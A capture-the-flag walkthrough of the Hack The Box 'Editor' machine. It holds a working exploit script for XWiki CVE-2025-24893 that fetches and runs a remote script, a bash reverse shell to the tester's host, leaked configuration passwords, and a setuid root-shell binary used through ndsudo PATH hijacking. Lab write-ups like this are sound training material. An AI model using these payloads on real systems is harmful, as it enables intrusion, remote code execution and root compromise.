TheLeopard65
Published on

Hack-The-Box - Easy - Linux - Editor

AUTHORS
  • avatar
    NAME
    Yasir Mehmood
    TWITTER
Hack-The-Box Editor Machine - Banner

The machine is initially compromised by exploiting an instance of XWiki running on port 8080/TCP. This is achieved using CVE-2025-24893, which allows unauthenticated remote code execution (RCE) through the SolrSearch functionality.

After gaining a foothold and obtaining a shell as the xwiki user, privilege escalation is performed to the Oliver user by leveraging plaintext credentials discovered in a configuration file, granting access to the user.txt flag.

Further privilege escalation to root is accomplished by exploiting CVE-2024-32019. This vulnerability involves the ndsudo binary from the Netdata suite, which is running on port 19999/TCP. The binary is SUID, owned by root, and permits execution of whitelisted binaries based on the system PATH.ByplantingamaliciousbinaryandmanipulatingthePATH. By planting a malicious binary and manipulating the PATH environment variable, it is possible to execute code and obtain a root shell.

Machine NamePlatformIP-AddressDificultyMachine Domain
EditorLinux10.10.11.80Easyeditor.htb

Enumeration

  • The tester started by performing an initial Nmap Scan and got the following results:
┌──(kali@kali)-[~/HTB/Editor]
└─$ sudo nmap -p- 10.10.11.80 --min-rate 10000
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-02 21:01 CEST
Nmap scan report for 10.10.11.80
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
  • A closer look on those ports showed a redirect to editor.htb which the tester added to /etc/hosts file.
  • Besides that information, on port 8080/TCP was an web application hosted called XWiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ sudo nmap -sC -sV -p 22,80,8080 10.10.11.80 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-02 21:02 CEST
Nmap scan report for 10.10.11.80
Host is up (0.085s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-webdav-scan:
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  Server Type: Jetty(10.0.20)
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
┌──(kali@kali)-[~/HTB/Editor]
└─$ tail -n 1 /etc/hosts
10.10.11.80   editor.htb
  • The website on port 80/TCP didn't revealed anything useful so the tester moved on to port 8080/TCP.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://editor.htb/
http://editor.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.80], Script[module], Title[Editor - SimplistCode Pro], nginx[1.18.0]
Simple Futuristic Code Editor Website at port 80/TCP
  • When the tester used the whatweb utility on port 8080/TCP, he noticed a few unusual redirects.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://editor.htb:8080/
http://editor.htb:8080/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki]
http://editor.htb:8080/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki/]
http://editor.htb:8080/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], Jetty[10.0.20], RedirectLocation[http://editor.htb:8080/xwiki/bin/view/Main/], UncommonHeaders[content-script-type]
http://editor.htb:8080/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.20)], IP[10.10.11.80], probably Index-Of, Jetty[10.0.20], Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki
XWiki Website at port 8080/TCP
  • Tester also found a login page but had no credentials and basic attempts like admin:admin failed. XWiki - Login
XWiki Login Page at Port 80/TCP
  • Without having any credentials and since tester only got a domain to work with...
  • tester went for Subdomain Enumeration using ffuf and found the Virtual Host entry of wiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.editor.htb" -u http://editor.htb/ -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editor.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.editor.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

wiki                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 15ms]
:: Progress: [151265/151265] :: Job [1/1] :: 2061 req/sec :: Duration: [0:00:50] :: Errors: 0 ::
  • The tester then added this one as well to the /etc/hosts file in order to access it.
┌──(kali@kali)-[~/HTB/Editor]
└─$ tail -n 1 /etc/hosts
10.10.11.80   editor.htb wiki.editor.htb
  • On wiki.editor.htb, tester found another instance of XWiki which was kind of suspicious.
Subdomain Website XWiki Instance at Port 80/TCP

Initial Access

  • Tester then started to search for known vulnerabilities of XWiki; bringing him to the CVE-2025-24893.
  • This CVE is also known as Unauthenticated Remote Code Execution (RCE) in XWiki via SolrSearch Macro.
  • The exploit on Exploit-DB referenced a Proof of Concept (PoC) exploit on GitHub .
  • The original exploit read the /etc/passwd and send the output back to the attacker Machine.
  • Tester wanted to gain a reverse shell which was achieved by modifying one line in the Python script.
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat exploit.py
import requests

# Banner
def display_banner():
    print("="*80)
    print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
    print("Made By Al Baradi Joy")
    print("="*80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
    https_url = f"https://{domain}"
    http_url = f"http://{domain}"

    try:
        response = requests.get(https_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTPS: {https_url}")
            return https_url
    except requests.exceptions.RequestException:
        print("[!] HTTPS not available, falling back to HTTP.")

    try:
        response = requests.get(http_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTP: {http_url}")
            return http_url
    except requests.exceptions.RequestException:
        print("[✖] Target is unreachable on both HTTP and HTTPS.")
        exit(1)

# Exploit function
def exploit(target_url):
    target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
    exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

    try:
        print(f"[+] Sending request to: {exploit_url}")
        response = requests.get(exploit_url, timeout=10)

        # Check if the exploit was successful
        if response.status_code == 200 and "root:" in response.text:
            print("[✔] Exploit successful! Output received:")
            print(response.text)
        else:
            print(f"[✖] Exploit failed. Status code: {response.status_code}")

    except requests.exceptions.ConnectionError:
        print("[✖] Connection failed. Target may be down.")
    except requests.exceptions.Timeout:
        print("[✖] Request timed out. Target is slow or unresponsive.")
    except requests.exceptions.RequestException as e:
        print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
    display_banner()
    target = input("[?] Enter the target URL (without http/https): ").strip()
    exploit(target)
  • Tester prepared the file x which would get pulled by the exploited application and written to /tmp/.
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat x
#!/bin/bash
bash -c '/bin/bash -i >& /dev/tcp/10.10.16.75/9001 0>&1'
  • The tester executed the exploit and got a hit on the webserver.
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 exploit.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb
[!] HTTPS not available, falling back to HTTP.
[] Target supports HTTP: http://wiki.editor.htb
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%2010.10.16.75/x.sh%20-O%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[] Exploit failed. Status code: 200
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.80 - - [02/Aug/2025 21:28:32] "GET /x.sh HTTP/1.1" 200 -
10.10.11.80 - - [02/Aug/2025 21:28:32] "GET /x.sh HTTP/1.1" 200 -
  • Now, tester needed to trigger the written file using a second exploit.
  • Because he wanted to be quick and not tinker with the PoC to get it in one command).
exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
┌──(kali@kali)-[~/HTB/Editor]
└─$ cat exploit_exec.py
import requests

# Banner
def display_banner():
    print("="*80)
    print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
    print("Made By Al Baradi Joy")
    print("="*80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
    https_url = f"https://{domain}"
    http_url = f"http://{domain}"

    try:
        response = requests.get(https_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTPS: {https_url}")
            return https_url
    except requests.exceptions.RequestException:
        print("[!] HTTPS not available, falling back to HTTP.")

    try:
        response = requests.get(http_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTP: {http_url}")
            return http_url
    except requests.exceptions.RequestException:
        print("[✖] Target is unreachable on both HTTP and HTTPS.")
        exit(1)

# Exploit function
def exploit(target_url):
    target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
    exploit_url = f"{target_url}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

    try:
        print(f"[+] Sending request to: {exploit_url}")
        response = requests.get(exploit_url, timeout=10)

        # Check if the exploit was successful
        if response.status_code == 200 and "root:" in response.text:
            print("[✔] Exploit successful! Output received:")
            print(response.text)
        else:
            print(f"[✖] Exploit failed. Status code: {response.status_code}")

    except requests.exceptions.ConnectionError:
        print("[✖] Connection failed. Target may be down.")
    except requests.exceptions.Timeout:
        print("[✖] Request timed out. Target is slow or unresponsive.")
    except requests.exceptions.RequestException as e:
        print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
    display_banner()
    target = input("[?] Enter the target URL (without http/https): ").strip()
    exploit(target)
  • After executing the second exploit, tester got a callback on the listener as the user xwiki.
┌──(kali@kali)-[~/HTB/Editor]
└─$ python3 exploit_exec.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb
[!] HTTPS not available, falling back to HTTP.
[] Target supports HTTP: http://wiki.editor.htb
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20/tmp/x.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[] Request timed out. Target is slow or unresponsive.
┌──(kali@kali)-[~/HTB/Editor]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.75] from (UNKNOWN) [10.10.11.80] 42924
bash: cannot set terminal process group (1125): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$
  • The tester stabilized the shell real quick to start with the enumeration.
xwiki@editor:/usr/lib/xwiki-jetty$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tty$ python3 -c 'import pty;pty.spawn("/bin/bash")'
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
zsh: suspended  nc -lnvp 9001

┌──(kali@kali)-[~/HTB/Editor]
└─$ stty raw -echo;fg
[1]  + continued  nc -lnvp 9001

xwiki@editor:/usr/lib/xwiki-jetty$
xwiki@editor:/usr/lib/xwiki-jetty$ export XTERM=xterm
xwiki@editor:/usr/lib/xwiki-jetty$

Post-Exploit Enumeration

  • Enumeration revealed that the user xwiki didn't had any special group memberships or permissions.
xwiki@editor:/usr/lib/xwiki-jetty$ id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
  • However a look at the /etc/passwd showed another available user called oliver.
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin
xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
_laurel:x:995:995::/var/log/laurel:/bin/false

Privilege Escalation

  • To perform a Privilege Escalation to oliver, tester expected to find plaintext credentials inside a file.
  • So tester started searching in the location of application and found 2 passwords inside configuration files.
xwiki@editor:~$ grep -ri 'password' /etc/xwiki/
/etc/xwiki/hibernate.cfg.xml:    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
/etc/xwiki/hibernate.cfg.xml:    <property
<--- CUT FOR BREVITY --->
/etc/xwiki/hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwikipassword2025</property>
/etc/xwiki/hibernate.cfg.xml.ucf-dist:    <property
<--- CUT FOR BREVITY --->
  • Switching to oliver using su didn't worked but one of the passwords worked on SSH.
  • Therefore tester wes able to grab the user.txt flag file.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ssh oliver@10.10.11.80
The authenticity of host '10.10.11.80 (10.10.11.80)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:48: [hashed name]
    ~/.ssh/known_hosts:95: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.80' (ED25519) to the list of known hosts.
oliver@10.10.11.80's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Aug  2 07:53:39 PM UTC 2025

  System load:  0.04              Processes:             237
  Usage of /:   64.7% of 7.28GB   Users logged in:       0
  Memory usage: 60%               IPv4 address for eth0: 10.10.11.80
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


Last login: Sat Aug 2 19:53:40 2025 from 10.10.16.75
oliver@editor:~$

Post-Exploit Enumeration

  • After enumeration it was found that the user oliver was member of the group netdata.
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
  • However oliver was not able to execute any commands using sudo.
  • That indicated access to locations like folders inside /opt/.
oliver@editor:~$ sudo -l
[sudo] password for oliver:
Sorry, user oliver may not run sudo on editor.
  • But first, tester checked the locally available ports and found quite a few high ports available.
  • But one that stood out in particular and that was port 19999/TCP.
oliver@editor:~$ ss -tulpn
Netid                  State                   Recv-Q                   Send-Q                                          Local Address:Port                                      Peer Address:Port                  Process
udp                    UNCONN                  0                        0                                                   127.0.0.1:8125                                           0.0.0.0:*
udp                    UNCONN                  0                        0                                               127.0.0.53%lo:53                                             0.0.0.0:*
udp                    UNCONN                  0                        0                                                     0.0.0.0:68                                             0.0.0.0:*
tcp                    LISTEN                  0                        4096                                                127.0.0.1:19999                                          0.0.0.0:*
tcp                    LISTEN                  0                        4096                                                127.0.0.1:8125                                           0.0.0.0:*
tcp                    LISTEN                  0                        151                                                 127.0.0.1:3306                                           0.0.0.0:*
tcp                    LISTEN                  0                        4096                                            127.0.0.53%lo:53                                             0.0.0.0:*
tcp                    LISTEN                  0                        128                                                   0.0.0.0:22                                             0.0.0.0:*
tcp                    LISTEN                  0                        4096                                                127.0.0.1:43333                                          0.0.0.0:*
tcp                    LISTEN                  0                        511                                                   0.0.0.0:80                                             0.0.0.0:*
tcp                    LISTEN                  0                        70                                                  127.0.0.1:33060                                          0.0.0.0:*
tcp                    LISTEN                  0                        50                                                          *:8080                                                 *:*
tcp                    LISTEN                  0                        50                                         [::ffff:127.0.0.1]:8079                                                 *:*
tcp                    LISTEN                  0                        128                                                      [::]:22                                                [::]:*
tcp                    LISTEN                  0                        511                                                      [::]:80                                                [::]:*
  • The tester then forwarded port 19999/TCP to see what was running on it.
┌──(kali@kali)-[~/HTB/Editor]
└─$ ssh -L 19999:localhost:19999 oliver@10.10.11.80
oliver@10.10.11.80's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Aug  2 07:56:16 PM UTC 2025

  System load:  0.12              Processes:             241
  Usage of /:   64.7% of 7.28GB   Users logged in:       0
  Memory usage: 60%               IPv4 address for eth0: 10.10.11.80
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Aug 2 19:56:16 2025 from 10.10.16.75
oliver@editor:~$
  • Interestingly enough, tester found an application called Netdata without any authentication.
  • Noticed the version 1.45.2 of Netdata and started searching for known vulnerabilities.
┌──(kali@kali)-[~/HTB/Editor]
└─$ whatweb http://localhost:19999/
http://localhost:19999/ [200 OK] Frame, HTML5, HTTPServer[Netdata Embedded HTTP Server v1.45.2], IP[::1], Script, Title[Netdata Agent Console], UncommonHeaders[access-control-allow-origin,access-control-allow-credentials,x-transaction-id], X-UA-Compatible[IE=edge]
Netdata Website Found on Port 19999/TCP Localhost

Privilege Escalation

The vulnerability lies in the ndsudo tool, which is packaged as a root-owned executable with the SUID bit set. While it is designed to run only a restricted set of external commands, it relies on PATH variable for its search paths. This implementation flaw allows an attacker to control where ndsudo looks for these commands. Which can potentially direct it to a path where the attacker has write access. ~( GitHub Advisory ).

oliver@editor:/tmp$ ls -la /opt/netdata/usr/libexec/netdata/plugins.d/
total 81428
drwxr-xr-x 3 root root        4096 Jul  8 08:34 .
drwxr-xr-x 5 root root        4096 Jul  8 08:34 ..
-rwxr-xr-x 1 root root        4873 Apr  1  2024 acl.sh
-rwxr-xr-x 1 root root         154 Apr  1  2024 alarm-email.sh
-rwxr-xr-x 1 root root      137916 Apr  1  2024 alarm-notify.sh
-rwxr-xr-x 1 root root        2155 Apr  1  2024 alarm.sh
-rwxr-xr-x 1 root root         301 Apr  1  2024 alarm-test.sh
-rwxr-xr-x 1 root root        9134 Apr  1  2024 anonymous-statistics.sh
-rwxr-x--- 1 root netdata  1437424 Apr  1  2024 apps.plugin
-rwxr-xr-x 1 root root       23662 Apr  1  2024 cgroup-name.sh
-rwsr-x--- 1 root netdata   965056 Apr  1  2024 cgroup-network
-rwxr-x--- 1 root netdata    10328 Apr  1  2024 cgroup-network-helper.sh
-rwxr-xr-x 1 root root        1259 Apr  1  2024 charts.d.dryrun-helper.sh
-rwxr-x--- 1 root netdata    21948 Apr  1  2024 charts.d.plugin
-rwxr-x--- 1 root netdata   886928 Apr  1  2024 debugfs.plugin
drwxr-xr-x 2 root netdata    20480 Jul  8 08:34 ebpf.d
-rwsr-x--- 1 root netdata  4261672 Apr  1  2024 ebpf.plugin
-rwxr-xr-x 1 root root        1871 Apr  1  2024 ebpf_thread_function.sh
-rwxr-xr-x 1 root root        2139 Apr  1  2024 get-kubernetes-labels.sh
-rwxr-x--- 1 root netdata 70000792 Apr  1  2024 go.d.plugin
-rwxr-xr-x 1 root root        7052 Apr  1  2024 health-cmdapi-test.sh
-rwsr-x--- 1 root netdata    81472 Apr  1  2024 ioping
-rwxr-x--- 1 root netdata     6713 Apr  1  2024 ioping.plugin
-rwsr-x--- 1 root netdata  1144224 Apr  1  2024 local-listeners
-rw-r--r-- 1 root root        6860 Apr  1  2024 loopsleepms.sh.inc
-rwsr-x--- 1 root netdata   200576 Apr  1  2024 ndsudo
-rwsr-x--- 1 root netdata  1377624 Apr  1  2024 network-viewer.plugin
-rwsr-x--- 1 root netdata   896448 Apr  1  2024 nfacct.plugin
-rwxr-x--- 1 root netdata   863608 Apr  1  2024 perf.plugin
-rwxr-x--- 1 root netdata    27998 Apr  1  2024 python.d.plugin
-rwxr-xr-x 1 root root       11020 Apr  1  2024 request.sh
-rwxr-x--- 1 root netdata   860296 Apr  1  2024 slabinfo.plugin
-rwxr-xr-x 1 root root       22444 Apr  1  2024 system-info.sh
-rwxr-xr-x 1 root root        8674 Apr  1  2024 tc-qos-helper.sh
-rwxr-xr-x 1 root root        2915 Apr  1  2024 template_dim.sh
  • Tester used strings utility to see what was available inside the binary.
  • And what could potentially be executed by manipulating $PATH variable.
oliver@editor:~/bin$ strings /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo | grep -E '^[a-zA-Z0-9._-]+$'
<--- CUT FOR BREVITY --->
PATH
ndsudo
--help
--test
execve
nvme-list
nvme
nvme-smart-log
megacli-disk-info
megacli
MegaCli
megacli-battery-info
<--- CUT FOR BREVITY --->
  • Then the tester wrote a small C Porgram to give him shell access as root user when executed successfully.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    if (setgid(0) != 0 || setuid(0) != 0) {
        perror("Privilege escalation failed");
        exit(EXIT_FAILURE);
    }

    execl("/bin/bash", "bash", "-p", NULL);

    perror("Failed to spawn shell");
    return 1;
}
  • The tester compiled the program and copied it to the victim Machine.
┌──(kali@kali)-[~/HTB/Editor]
└─$ gcc megacli.c -o megacli
oliver@editor:/tmp$ wget http://10.10.16.75/megacli
--2025-08-02 20:27:24--  http://10.10.16.75/megacli
Connecting to 10.10.16.75:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16160 (16K) [application/octet-stream]
Saving to: ‘megacli’

megacli                                                    100%[========================================================================================================================================>]  15.78K  --.-KB/s    in 0.03s

2025-08-02 20:27:24 (491 KB/s) - ‘megacli’ saved [16160/16160]
  • Then the tester made the binary executable and exported the writeable path to the shell.
oliver@editor:/tmp$ chmod +x megacli
oliver@editor:/tmp$ export PATH=/tmp:$PATH
  • The last step was to execute ndsudo using the command megacli-disk-info.
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
root@editor:/home/oliver/bin#
  • The Season 8 - Editor Machine on Hack-The-Box was now complete.

Hack-The-Box Editor Machine - Machine Completed